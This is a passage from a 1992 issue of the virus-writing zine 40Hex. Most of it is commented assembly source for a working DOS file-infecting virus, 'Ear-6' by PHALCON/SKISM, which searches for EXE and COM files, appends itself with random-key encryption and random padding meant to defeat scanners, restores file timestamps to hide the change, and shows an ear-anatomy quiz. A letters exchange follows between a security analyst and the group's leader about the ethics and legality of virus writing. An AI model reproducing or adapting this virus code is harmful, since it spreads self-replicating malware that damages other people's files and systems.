  4528.     add     dx, bp
  4529.     inc     dx
  4530.     push    dx                              ; Salva el codo al pregunta
  4531.  
  4532.     mov     ah, 9                           ; Escriba el primer parte de
  4533.     lea     dx, [bp+mensaje]                ; la pregunta
  4534.     int     21h
  4535.  
  4536.     pop     dx                              ; Escriba el parte de la oreja
  4537.     int     21h                             ; o el oído
  4538.     dec     dx
  4539.     push    dx                              ; Salva la respuesta correcta
  4540.  
  4541.     lea     dx, [bp+secciones]              ; Escriba los secciones de la
  4542.     int     21h                             ; oreja y el oído
  4543.  
  4544. trataotrarespuesta:
  4545.     mov     ah, 7                           ; Obtiene la respuesta de la
  4546.     int     21h                             ; "víctima"
  4547.     cmp     al, '1'                         ; Necesita una respuesta de
  4548.     jl      trataotrarespuesta              ; uno hasta tres
  4549.     cmp     al, '3'                         ; Renuncia otras respuestas
  4550.     jg      trataotrarespuesta
  4551.  
  4552.     int     29h                             ; Escriba la respuesta
  4553.  
  4554.     pop     bx                              ; El codo al respuesta
  4555.                         ; correcta
  4556.     mov     ah, 9                           ; Prepara a escribir un
  4557.                         ; mensaje
  4558.     cmp     al, byte ptr [bx]               ; ¿Es correcta?
  4559.     jz      saltarapidamente                ; Él aprueba el examencito.
  4560.                         ; Pues, salta rápidamente.
  4561.     lea     dx, [bp+suspendido]             ; Lo siento, pero ¡Ud. no
  4562.     int     21h                             ; aprueba el examencito fácil!
  4563.  
  4564.     mov     ah, 4ch                         ; Estudie más y el programa
  4565.     jmp     quite                           ; permitirá a Ud a continuar.
  4566.  
  4567. saltarapidamente:
  4568.     lea     dx, [bp+aprueba]
  4569.     int     21h
  4570. saltarahora:
  4571.     mov     ah, 1ah                         ; Restaura el DTA original
  4572.     mov     dx, 80h
  4573. quite:
  4574.     cmp     sp, id - 4                      ; ¿Es EXE o COM?
  4575.     jz      vuelvaEXE
  4576. vuelvaCOM:
  4577.     int     21h                             ; Restaura el DTA y vuelva
  4578.     retn                                    ; a la ficha original de COM
  4579.  
  4580. vuelvaEXE:
  4581.     pop     es
  4582.     pop     ds                              ; ds -> PSP
  4583.  
  4584.     int     21h
  4585.  
  4586.     mov     ax, es
  4587.     add     ax, 10h                         ; Ajusta para el PSP
  4588.     add     word ptr cs:[bp+EXE_Donde_JMP+2], ax
  4589.     cli
  4590.     add     ax, word ptr cs:[bp+PilaOriginal+2]
  4591.     mov     ss, ax
  4592.     mov     sp, word ptr cs:[bp+PilaOriginal]
  4593.     sti
  4594.     db      0eah                            ; JMP FAR PTR SEG:OFF
  4595. EXE_Donde_JMP dd 0
  4596. PilaOriginal  dd 0
  4597.  
  4598. EXE_Donde_JMP2  dd 0
  4599. PilaOriginal2   dd 0
  4600.  
  4601. infectar_mascara:
  4602.     mov     ah, 4eh                         ; Busca la ficha primera
  4603.     mov     cx, 7                           ; Cada atributo
  4604. brb_brb:
  4605.     int     21h
  4606.     jc      hasta_la_vista_bebe             ; No la busca
  4607.  
  4608.     xor     al, al
  4609.     call    abrir                           ; Abre la ficha
  4610.  
  4611.     mov     ah, 3fh
  4612.     mov     cx, 1ah
  4613.     lea     dx, [bp+buffer]
  4614.     int     21h
  4615.  
  4616.     mov     ah, 3eh                         ; Cierra la ficha
  4617.     int     21h
  4618.  
  4619.     lea     si,[bp+nuevoDTA+15h]            ; Salva cosas sobre la ficha
  4620.     lea     di,[bp+f_atrib]                 ; Por ejemplo, la fecha de
  4621.     mov     cx, 9                           ; creación
  4622.     rep     movsb
  4623.  
  4624.     cmp     word ptr [bp+buffer], 'ZM'      ; ¿Es EXE o COM?
  4625.     jz      buscaEXE
  4626. buscaCOM:
  4627.     mov     ax, word ptr [bp+f_long]        ; ¿Cuan grande es la ficha?
  4628.     sub     ax, longitud_del_virus + 3      ; Adjusta para el JMP
  4629.     cmp     ax, word ptr [bp+buffer+1]      ; ¿Ya es infectada?
  4630.     jnz     infecta_mi_burro                ; "infect my ass"
  4631.     jmp     short BuscaMas
  4632. buscaEXE:
  4633.     cmp     word ptr [bp+buffer+10h], id
  4634.     jnz     infecta_mi_burro
  4635. BuscaMas:
  4636.     mov     ah, 4fh                         ; Busca otra ficha...
  4637.     jmp     short brb_brb
  4638. hasta_la_vista_bebe:                            ; ¿Le gusta Arnold?
  4639.     ret
  4640.  
  4641. infecta_mi_burro:
  4642.     ; AX = longitud de la ficha infectada
  4643.     lea     si, [bp+buffer]
  4644.  
  4645.     cmp     word ptr [si], 'ZM'
  4646.     jz      InfectaEXE
  4647. InfectaCOM:
  4648.     push    ax
  4649.  
  4650.     mov     cx, word ptr [bp+tempo]
  4651.     mov     word ptr [bp+remendar1+1], cx
  4652.  
  4653.     lea     di, [bp+Primer3]
  4654.     movsb
  4655.     push    si
  4656.     movsw
  4657.  
  4658.     mov     byte ptr [bp+buffer], 0e9h
  4659.     pop     di
  4660.     add     ax, longitud_del_virus
  4661.     stosw
  4662.  
  4663.     mov     cx, 3
  4664.     jmp     short   TerminaInfeccion
  4665. InfectaEXE:
  4666.     les     ax, [si+14h]                    ; Salva el original empieza
  4667.     mov     word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
  4668.     mov     word ptr [bp+EXE_Donde_JMP2+2], es
  4669.  
  4670.     les     ax, [si+0Eh]                    ; Salva la original locación
  4671.     mov     word ptr [bp+PilaOriginal2], es ; de la pila
  4672.     mov     word ptr [bp+PilaOriginal2+2], ax
  4673.  
  4674.     mov     ax, word ptr [si + 8]
  4675.     mov     cl, 4
  4676.     shl     ax, cl
  4677.     xchg    ax, bx
  4678.  
  4679.     les     ax, [bp+offset nuevoDTA+26]
  4680.     mov     dx, es
  4681.     push    ax
  4682.     push    dx
  4683.  
  4684.     sub     ax, bx
  4685.     sbb     dx, 0
  4686.  
  4687.     mov     cx, 10h
  4688.     div     cx
  4689.  
  4690.     mov     word ptr [si+14h], dx           ; Nuevo empieza CS:IP
  4691.     mov     word ptr [si+16h], ax
  4692.  
  4693.     mov     cl, 4
  4694.     shr     dx, cl
  4695.     add     ax, dx
  4696.     mov     word ptr [si+0Eh], ax           ; y SS:SP
  4697.     mov     word ptr [si+10h], id
  4698.  
  4699.     pop     dx                              ; Restaura el magnitud de
  4700.     pop     ax                              ; la ficha
  4701.  
  4702.     add     ax, longitud_del_virus          ; Añada el magnitud del virus
  4703.     adc     dx, 0
  4704.     mov     cl, 9
  4705.     push    ax
  4706.     shr     ax, cl
  4707.     ror     dx, cl
  4708.     stc
  4709.     adc     dx, ax
  4710.     pop     ax
  4711.     and     ah, 1
  4712.  
  4713.     mov     word ptr [si+4], dx             ; Nuevo magnitud de la ficha
  4714.     mov     word ptr [si+2], ax
  4715.  
  4716.     push    cs
  4717.     pop     es
  4718.  
  4719.     mov     ax, word ptr [si+14h]
  4720.     sub     ax, longitud_del_virus + offset Empezarvir
  4721.     push    ax
  4722.  
  4723.     mov     cx, 1ah
  4724. TerminaInfeccion:
  4725.     mov     al, 2
  4726.     call    abrir
  4727.  
  4728.     mov     ah, 40h
  4729.     lea     dx, [bp+buffer]
  4730.     int     21h
  4731.  
  4732.     mov     ax, 4202h
  4733.     xor     cx, cx
  4734.     cwd                                     ; xor dx,dx
  4735.     int     21h
  4736.  
  4737.     mov     ah, 2ch                         ; Números azados en CX y DX
  4738.     int     21h
  4739.     mov     word ptr [bp+remendar3+2], cx   ; Es el nuevo número de la
  4740.                         ; cifra
  4741.     and     cx, 31                          ; Pone un número azado para el
  4742.     add     cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha.  Por
  4743.                         ; eso, los scanners necesitan
  4744.     mov     word ptr [bp+remendar2+1], cx   ; usar "wildcards"
  4745.     lea     di, [bp+tempstore]
  4746.     mov     al, 53h                         ; push bx
  4747.     stosb                                   ; (no destruir el mango de la
  4748.                         ;  ficha)
  4749.     lea     si, [bp+shwing]                 ; Copia las instrucciones
  4750.     push    si                              ; para formar la cifra
  4751.     mov     cx, longitud_de_la_cifra
  4752.     push    cx
  4753.     rep     movsb
  4754.  
  4755.     mov     al, 5bh                         ; pop bx
  4756.     stosb                                   ; (recuerda mango de la ficha)
  4757.  
  4758.     lea     si, [bp+escribir]               ; Copia las instrucciones
  4759.     mov     cx, longitud_del_escribir       ; para añada el virus a la
  4760.     rep     movsb                           ; ficha
  4761.  
  4762.     mov     al, 53h                         ; push bx
  4763.     stosb
  4764.  
  4765.     pop     cx                              ; Copia las instrucciones
  4766.     pop     si                              ; para invalidar la cifra
  4767.     rep     movsb
  4768.     mov     ax, 0c35bh                      ; pop bx, retn
  4769.     stosw
  4770.  
  4771.     pop     ax
  4772.  
  4773.     ; Codo del comienzo de la cifra
  4774.     add     ax, offset EmpezarCifra + longitud_del_virus
  4775.     mov     word ptr [bp+remendar1+1], ax
  4776.  
  4777.     call    antes_del_tempstore
  4778.  
  4779.     mov     ax, 5701h                       ; BX = mango de la ficha
  4780.     mov     dx, word ptr [bp+f_fecha]
  4781.     mov     cx, word ptr [bp+f_hora]
  4782.     int     21h                             ; Restaura fecha y hora
  4783.  
  4784.     mov     ah, 3eh
  4785.     int     21h
  4786.  
  4787.     xor     ch, ch
  4788.     mov     cl, byte ptr [bp+f_atrib]
  4789.     mov     ax, 4301h
  4790.     lea     dx, [bp+offset nuevoDTA + 30]     ; Busca un ficha en el DTA
  4791.     int     21h
  4792.  
  4793.     inc     byte ptr [bp+numinf]
  4794.  
  4795.     jmp     BuscaMas
  4796.  
  4797. Primer3  db 0CDh, 20h, 0
  4798. puntos   db '..',0
  4799. mascara1 db '*.EXE',0
  4800. mascara2 db '*.COM',0
  4801.  
  4802. abrir:  mov     ah, 3dh                         ; Abrir un ficha
  4803.     lea     dx, [bp+nuevoDTA+30]            ; Nombre de la ficha es en
  4804.     int     21h                             ; el DTA
  4805.     xchg    ax, bx
  4806.     ret
  4807.  
  4808. indice  dw      offset oreja1, offset oreja2, offset oreja3, offset oreja4
  4809.     dw      offset oreja5, offset oreja6, offset oreja4, offset oreja1
  4810. oreja1  db      '1','Auditory Canal$'
  4811. oreja2  db      '1','Lobe$'
  4812. oreja3  db      '2','Anvil$'
  4813. oreja4  db      '2','Eustachian Tube$'
  4814. oreja5  db      '3','Auditory Nerve$'
  4815. oreja6  db      '3','Cochlea$'
  4816.  
  4817. mensaje db      'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
  4818. secciones db    ' located?',13,10
  4819.     db      ' 1. External Ear',13,10
  4820.     db      ' 2. Middle Ear',13,10
  4821.     db      ' 3. Inner Ear',13,10,'( )',8,8,'$'
  4822.  
  4823. ; No es bueno.
  4824. suspendido db   13,10,'You obviously know nothing about ears.'
  4825.     db      13,10,'Try again after some study.',13,10,'$'
  4826.  
  4827. ; ¡Espero que sí!
  4828. aprueba db      13,10,'Wow, you know your ears!  Please resume work.',13,10
  4829.     db      '$'
  4830.  
  4831. escribir:
  4832.     mov     ah, 40h
  4833.     mov     cx, TerminaVir - EmpezarVir
  4834.     lea     dx, [bp+EmpezarVir]
  4835.     int     21h
  4836. termina_escribir:
  4837.  
  4838. backslash db '\'
  4839.  
  4840. TerminaVir = $
  4841.  
  4842. ; Los que sigue son en el montón...
  4843. longitud_de_la_cifra = offset EmpezarCifra - offset shwing
  4844.  
  4845. diroriginal db 64 dup (?)
  4846. tempo       dw ?
  4847. nuevoDTA    db 43 dup (?)
  4848. numinf      db ?
  4849. antes_del_tempstore:
  4850. ; tempstore es el buffer para el parte del programa que añada el virus al fin
  4851. ; de otro programa
  4852. tempstore   db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
  4853.                         ; añada cinco para los pop,
  4854.                         ; los push, y el retn
  4855. buffer      db 1ah dup (?)
  4856. f_atrib     db      ?                           ; atributo de la ficha
  4857. f_hora      dw      ?                           ; hora de creación
  4858. f_fecha     dw      ?                           ; fecha de creación
  4859. f_long      dd      ?                           ; magnitud de la ficha
  4860.  
  4861.     end     Empezar
  4862.  
  4863. 40Hex Number 8 Volume 2 Issue 4                                       File 010
  4864.  
  4865.     Letters to the editor!  Well, as you can imagine when I got this
  4866. message I was quite startled.  Sorry Paul, no top billing this time :-).
  4867. Although it is at this point, that I would like to say a couple things.
  4868. For instance, the virus community seems to think that their actions go
  4869. unnoticed.  As you might imagine, this is not quite true.  C'mon,
  4870. security people get their hands on 40Hex shortly after our boards get
  4871. it.  Just letting you know that big brother is watching :).
  4872. -----------------------------------------------------------------------------
  4873.  
  4874.  
  4875.  
  4876.  
  4877. 40-Hex Response:
  4878.  
  4879.    As a Security Analyst I find 40-Hex an incredibly interesting magazine.
  4880. The magazine presents entirely different viewpoints then what is in the
  4881. industry magazines such as Virus Bulletin, Virus News International and 
  4882. Virus News and Reviews.   Although all three of these publications are good
  4883. and very useful to me in my job, 40-Hex does indeed keep my mind open.  It
  4884. discusses viruses in depth, including commented source code, and has been a
  4885. real learning tool for me.  There is just not anywhere that you can get the
  4886. detailed analysis of a virus except in a magazine like 40-Hex.  I can't help
  4887. but be torn between my thirst for knowledge about virii and how they work,
  4888. and the fear that the more knowledge about virus writing becomes available to
  4889. the public, the greater chance that there is going to be more and more garbage
  4890. out there and more and more irresponsible people releasing this garbage on
  4891. their "friends and neighbors".
  4892.  
  4893.    I do want to thank 40-Hex for what I consider a very favorable review.  I
  4894. had to laugh about the comments, because frankly I agreed with them.  I guess
  4895. that I do get a little melodramatic sometimes.  But I do honestly believe 
  4896. that the knowledge exists out there to create a program/virus that will
  4897. be able to escape detection by any method in use today.  Whether it will 
  4898. ever be written and whether it will have destructive capabilities I don't 
  4899. really know. I don't know of any virus writers that make profits off 
  4900. their work.  While all the anti-virus developers, although they complain
  4901. about the work that they have to do to keep up with the virus writers, 
  4902. certainly make a nice profit on something like a Michelangelo scare.  So 
  4903. the only motivation for the virus writer is the challenge of creating a 
  4904. nearly undetectable virus.  
  4905.  
  4906.    I am very curious myself to see if the NCSA's prediction of 40,000 virii  
  4907. by 1994 comes true.  I certainly agree with 40-Hex that most of 
  4908. these virii will be hacks of some of the existing code out there now. The 
  4909. anti-virus industry itself can't decide on how to count different strains of 
  4910. viruses, so anyone will be able to make whatever claim they want anyway.
  4911.  
  4912.    Finally, Dr. Solomon said it best informally at the First International 
  4913. Virus Prevention Conference.  He was talking about how America was founded
  4914. on freedom and the rights of the individual.  He said that Americans seem
  4915. far too willing, in his opinion, to voluntarily give up those rights.  Right
  4916. now, virus writing is not illegal.  And hopefully it never will be, because
  4917. what you or I do with our own personal computers is no one else's business 
  4918. but our own.  But when we interfer with someone else's computer or data or
  4919. life, that I believe that is where the line is drawn.   Its going to be a 
  4920. very long and hard process to determine responsibility for damages caused by
  4921. a virus.  Passing a law to make virus writing itself illegal will not solve 
  4922. the problem.  Something, though, has to be done to protect an individual's
  4923. or a corporation's rights to have a virus-free working environment.  There
  4924. are enough problems with buggy commercial software, without having to worry
  4925. about virii hitting your computers too.  But until that time comes part of
  4926. my job will continue to be warning people about the dangers of viruses and
  4927. helping them protect their data.
  4928.  
  4929.                             Paul Melka
  4930.  
  4931. Response to a Response to a Response:
  4932.  
  4933.     As the head of the -=PHALCON/SKISM=-, I find your letter a very
  4934. interesting response.  I thank you for your raving reviews on 40Hex.  We
  4935. try to make it a magazine that everyone can learn from.  Well, I still
  4936. debate the undetectable virus issue.  Regarding the virus writer/anti-virus
  4937. issue, I definately agree, that the anti-virus people are motivated by greed
  4938. more then anything else.   I am glad to see that you agreed with my oh so
  4939. witty comments, they weren't meant to be abusive, just a little comic relief.
  4940.     I agree with you on the issues regarding a virus-free working
  4941. environment.  But, as you already know,  writing a virus isn't
  4942. illegal, it is the spreading that is illegal.  Unfortunately, it is too
  4943. late to start working on anti-virus writing legislation now.  The damage
  4944. has been done.  The virus issue is fairly similiar to the AIDS issue.
  4945. You have to use protection, no matter what.  There will never be an end
  4946. to virii.  Even if everyone stopped writing virii, the infection rate
  4947. wouldn't decrease.  I  don't know of many people that get hit by the
  4948. newer strains that have been coming out.  Most people still get hit by
  4949. Jerusalem, Stoned, and other 'classics'.
  4950.     I would be very interested in what solutions you may have come up with
  4951. to protect the rights of individuals and corporations.  I hadn't heard about
  4952. Dr. Solomon's comments, until I recieved your letter.  Quite frankly, I agree
  4953. with what he is saying.  Another major problem with making virus writing
  4954. illegal is the definition of a virus, or trojan for that matter.  It is
  4955. very difficult to come up with a concrete definition.
  4956.     I appreciate your response, and definately encourage other people, either
  4957. pro- or anti- virus to respond!
  4958.  
  4959.                         -)GHeap
  4960.